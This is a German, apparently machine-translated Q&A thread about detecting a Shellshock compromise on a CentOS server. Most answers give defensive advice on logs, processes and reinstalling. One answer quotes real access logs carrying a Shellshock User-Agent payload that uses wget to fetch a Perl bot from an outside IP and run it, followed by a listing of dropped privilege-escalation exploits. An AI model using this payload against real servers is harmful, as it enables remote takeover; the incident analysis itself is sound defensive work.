Shellshock: Woher weiß ich, ob mein Server kompromittiert ist und auf verdächtige Dateien zu achten ist?

18

Drei Fragen, die hoffentlich jemand beantworten kann:

  1. Woher weiß ich, ob mein Server aufgrund des Shellshock-Fehlers bereits gefährdet ist?
  2. Wenn es kompromittiert wurde, gibt es einen bestimmten Ordner, in dem ich nach schädlichen Dateien suchen sollte?
  3. Wie sieht eine schädliche Datei aus?

Ich verwende CentOS 6, LEMP Stack

Honig Dachs
quelle

Antworten:

36

Woher weiß ich, ob mein Server aufgrund des Shellshock-Fehlers bereits gefährdet ist?

Das tust du nicht. Das ist die Idee einer Sicherheitslücke. Wenn du klicken müsstest Lass die Cracker rein? OK / Abbrechen es wäre keine große Sicherheitslücke.

Möglicherweise haben Sie etwas Glück, wenn Sie die Protokolle Ihrer Angriffsmethoden überprüfen. Angesichts der Tatsache, dass so viele Dienste anfällig sind und nicht alle jeden Zugriff protokollieren, ist es wahrscheinlich nicht möglich, einen endgültigen Angriff zu finden.

Wenn es kompromittiert wurde, gibt es einen bestimmten Ordner, in dem ich nach schädlichen Dateien suchen sollte?

Nein, eine bösartige Datei könnte überall sein.

Gängige Rootkits installieren sich selbst in /rootoder /oder /tmpoder einem der Binärpfade, können sich aber tatsächlich überall befinden. Sie können einen Namen haben , der einem echten Dienst ähnelt , oder etwas "Wichtiges", das wie " IPTables" oder " kernel-bin" aussieht, aber sie können auch zufällige Zeichenfolgen oder derselbe Name wie eine echte Binärdatei sein (nur auf einem anderen Pfad). Sie können ein wirklich offensichtliches Rootkit-Laden /etc/rc.localoder Herstellen von Verbindungen über erkennen netstat -neopa. Suchen Sie in nach verdächtigen Prozessnamen top -c.

Ein weniger verbreitetes und viel schwieriger zu findendes Rootkit ersetzt eine Bibliothek oder lädt sich selbst als Shim-Bibliothek und fängt Systemaufrufe ab. Dies ist fast unmöglich zu finden, wenn Sie nicht jedes einzelne auf Ihrem System ausgeführte Element verfolgen und das Verhalten mit dem erwarteten Verhalten eines als funktionierend bekannten Systems oder Quellcodes vergleichen.

Es wäre schneller, einfacher und schlüssiger, das System einfach neu zu laden.

Wie sieht eine schädliche Datei aus?

Wahrscheinlich wie jede andere reguläre ELF-Binärdatei oder Bibliothek. Es kann auch ein Skript sein.

Fazit: Wenn Sie der Meinung sind, dass Ihr System möglicherweise beschädigt wurde, behandeln Sie das System so, als ob es beschädigt wurde, und ergreifen Sie die erforderlichen Maßnahmen.

suprjami
quelle
14
+1 "Lass die Cracker rein?" Noch ein Hinweis ... wenn Sie unter Linux etwas mit dem Namen "IPTables" sehen, seien Sie sehr misstrauisch. UNIXian ist CapsPhobic.
Bischof
Wenn Sie der Meinung sind, dass Ihr System möglicherweise kompromittiert wurde, behandeln Sie das System so, als ob es kompromittiert wurde, und ergreifen Sie die erforderlichen Maßnahmen. Das heißt, jedes mögliche System, das bashinstalliert und ein Netzwerkkabel eingesteckt hat, oder?
Federico Poloni
@FedericoPoloni Nur wenn jemand über das Netzwerk auf Ihre Shell zugreifen kann. Aber sonst hast du absolut recht.
Scai
@FedericoPoloni Ich bin mir nicht sicher, ob das eine kluge Wahl ist, denn ich müsste ständig alle Systeme außer Betrieb setzen, da ich niemals 100% sicher sein kann, dass sie nicht kompromittiert wurden, und im Ernst, niemand kann sicher sein, dass ihre Systeme nicht kompromittiert wurden, es sei denn sie sind sehr optimistisch. Wenn Sie den Verdacht haben, dass sich Ihr System nicht so verhält, wie es sein sollte, sollten Sie es und seinen Netzwerkverkehr untersuchen, vorzugsweise von A CLEAN OS. Wenn Sie keine Hinweise auf Manipulationen finden, müssen Sie keine Maßnahmen ergreifen, um die Löcher zu reparieren. Ansonsten müssten wir ALLE Systeme ständig 24x7 neu installieren!
Frank Waller
@FrankWaller da stimme ich voll zu. Es besteht immer die Möglichkeit, dass ein System aus der Ferne kompromittiert wurde und der Angreifer fähig genug ist, keine Spuren zu hinterlassen. Wir können jedoch nicht rund um die Uhr neu installieren, um diesen Fall zu beheben.
Federico Poloni
21

Shellshock ist kein Wurm, daher gibt es keine Dateien, nach denen gesucht werden muss. Shellshock ist eine Möglichkeit, ein Netzwerk anzugreifen, um Zugang zu erhalten. Einmal drinnen, wer weiß, was der Angreifer tun wird.

Mike
quelle
3
Diese Antwort scheint mir ein bisschen verwirrt zu sein - vielleicht wurde sie in aller Eile verworfen oder sollte ein Kommentar anstelle einer Antwort sein. Sicher, es ist kein Wurm (es ist eine Sicherheitslücke, keine Malware), aber es ist nicht klar, warum Sie dies für relevant halten oder warum dies bedeutet, dass "es keine Dateien gibt, nach denen gesucht werden muss". Shellshock ist keine Möglichkeit, ein Netzwerk anzugreifen. Es ist eine Möglichkeit, in eine Maschine einzubrechen. Es ist ein Angriff auf eine Maschine, kein Netzwerk.
DW
2
@DW Zugegeben, sehr prägnant, aber eindeutig als direkte Reaktion auf die Sorgen des OP is there a particular folder where I should look for malicious files.
1.
5

Ich habe einen Versuch gesehen, den Fehler auszunutzen, der einen IRC-Bot als installierte /var/tmp/x. Im Allgemeinen gibt es jedoch keine bestimmten Dateien, nach denen gesucht werden muss, da sie sich irgendwo oder nirgendwo befinden könnten.

Wenn Sie durch den Webserver kompromittiert wurden, ist jede neue Datei oder jeder neue Prozess, der dem Webserver-Benutzer gehört, verdächtig.

Wenn ein Angreifer zuerst den bashFehler ausnutzt, um in das System einzudringen, und dann eine lokale Sicherheitslücke entdeckt root, kann dies fast unmöglich werden.

Schauen Sie sich auch diese ähnliche Frage an .

Kasperd
quelle
+1 für Webserver User Ownership Idee
Xan
4

Ich würde die Antwort von suprjami wiederholen und sagen, wenn Ihr System anfällig ist, sollten Sie es als gefährdet behandeln.

Wenn Sie Apache ausführen, können Sie die Protokolle mit dem folgenden Befehl auf Shellshock-Angriffsversuche überprüfen:

[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"

Dieser Befehl extrahiert alle Zeilen, die "cgi" enthalten, aus den Apache-Zugriffsprotokollen (standardmäßig "access_log", "access_log.1", "access_log.2" usw.) und leitet sie dann mit dem regulären Ausdruck in "egrep" weiter.

(Quelle: http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash )

Ralph
quelle
Beachten Sie, dass bei einer Standardkonfiguration von Apache nur Angriffe in der Ziel-URL sowie in den Headern "User-Agent" und "Referer" angezeigt werden. Ein Angriff in einem Header wie "Cookie" oder "X-Ploit" wird nicht protokolliert.
Mark
1
@Mark Absolut, das hätte ich erwähnen sollen.
Ralph
1
Das erste, was ein Angreifer tun würde, der sich selbst respektiert, ist, alle Hinweise auf den Angriff aus den Protokollen zu löschen. Deshalb sollten Protokolle einmal beschreibbar und remote sein.
Jörg W Mittag
4

Da es für Shellshock mehrere Angriffsvektoren gibt, von denen einige für die breite Öffentlichkeit noch unbekannt sind oder von einem benutzerdefinierten CGI-Skript verursacht werden, gibt es keine eindeutige Methode, um festzustellen, ob Sie gefährdet sind oder nicht.

Zusätzlich zu dem üblichen Ansatz "Lassen Sie uns sehen, ob sich einige Systemdateien geändert haben oder in letzter Zeit etwas anderes Verdächtiges passiert ist" möchten Sie möglicherweise Ihr Serververhalten im Auge behalten.

  1. Gibt es plötzlich viel mehr Netzwerkverkehr?
  2. Hat sich die CPU / Speicherauslastung stark verändert?
  3. Verbraucht etwas mehr Speicherplatz oder verursacht es mehr E / A als gewöhnlich?
  4. Zeigt netstatseltsame Netzwerkverbindungen oder ps auxProzesse, die Sie nicht erkennen?
  5. Versendet Ihr Server plötzlich viel mehr E-Mails als zuvor?

Wenn Sie über eine ordnungsgemäße Überwachung des Serverzustands (wie z. B. Zabbix) verfügen , können Sie auch Sicherheitslücken erkennen. Sie können auch die MD5 / SHA-Summen von Systemdateien mit einer als gut bekannten Sicherung vergleichen.

Gehen Sie einfach so vor, als wäre Ihr Server kompromittiert worden, und untersuchen Sie alles, was Sie sich vorstellen können.

Janne Pikkarainen
quelle
4

Ich hatte gerade das Vergnügen, ein kompromittiertes älteres Plesk-System zu bereinigen. Das erste, was es verriet, waren zahlreiche Prozesse, die damit begannen, eine Reihe von Ports und andere zu überwachen, die versuchten, Code vom ursprünglichen Scan-Server herunterzuladen.

    lsof -i -n
...
        perl       1899      user100     3u  IPv4 227582583      0t0  TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
        perl       1999      user101     3u  IPv4 227582597      0t0  TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
        perl       2016       wwwrun     3u  IPv4 227549964      0t0  TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...

Den Protokollen folgend, fand ich heraus, dass das ultimative Loch ein cgi_wrapperSkript war, etwas, das das System schützen und abschirmen sollte, hat das Loch tatsächlich in den Schutz gerissen. Hier sind einige der Protokollzeilen von Probes und dem erfolgreichen Angriff:

Dies sind die Zeilen aus dem access_log, da dies nur ein Beispiel ist. Notieren Sie sich die 200 in zwei Zeilen, während die anderen mit 404 fehlschlagen. die mit 200 taten es jedoch. Das Muster dieser Angriffe ist hier immer dasselbe: 1. Finden Sie ein anfälliges CGI-Skript. Verwenden Sie ShellShock Exploit, um ein Perl-Skript herunterzuladen und auszuführen. Löschen Sie das Perl-Skript erneut. Das Perl-Skript lädt tatsächlich einige Quelldateien herunter (tgz), kompiliert sie und führt sie aus. Soweit ich gesehen habe, enthalten sie mindestens eine Hintertür und einen automatischen Aktualisierungsmechanismus sowie Exploits, um erhöhte Ausführungsrechte zu erlangen. Alle anfänglichen Skripte werden tatsächlich als der vom Wrapper bereitgestellte Benutzer ausgeführt, während spätere Dienste mit einer PPID von 1 (vom Root-Prozess gestartet) gestartet werden.

94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

Und hier die entsprechenden error_log Zeilen:

[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03--  http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]   626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34--  http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]   575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed

Dateien, die nach / tmp heruntergeladen wurden Wie man vermuten könnte, habe ich die bot.pl-Datei nicht, da sie sofort gelöscht wird.

-rwxr-xr-x 1 user100  psacln   187 Sep 29 01:02 check
-rwxr-xr-x 1 user100  psacln  9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100  psacln  4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100  psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100  psacln   178 Sep 29 03:35 payload.c

cd ./expls
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 1
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100  psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100  psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100  psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100  psacln  2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100  psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100  psacln  6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100  psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100  psacln  6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100  psacln  2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100  psacln  4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100  psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100  psacln  1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100  psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100  psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100  psacln  9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100  psacln   419 Sep 29 02:03 origin
-rw-r--r-- 1 user100  psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100  psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100  psacln  3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100  psacln  2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100  psacln   208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100  psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100  psacln  7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100  psacln   233 Sep 29 03:13 run
-rwxr-xr-x 1 user100  psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100  psacln  3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100  psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100  psacln  4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100  psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100  psacln  2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100  psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100  psacln   159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100  psacln  9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100  psacln  2232 Sep 29 02:46 sock.c
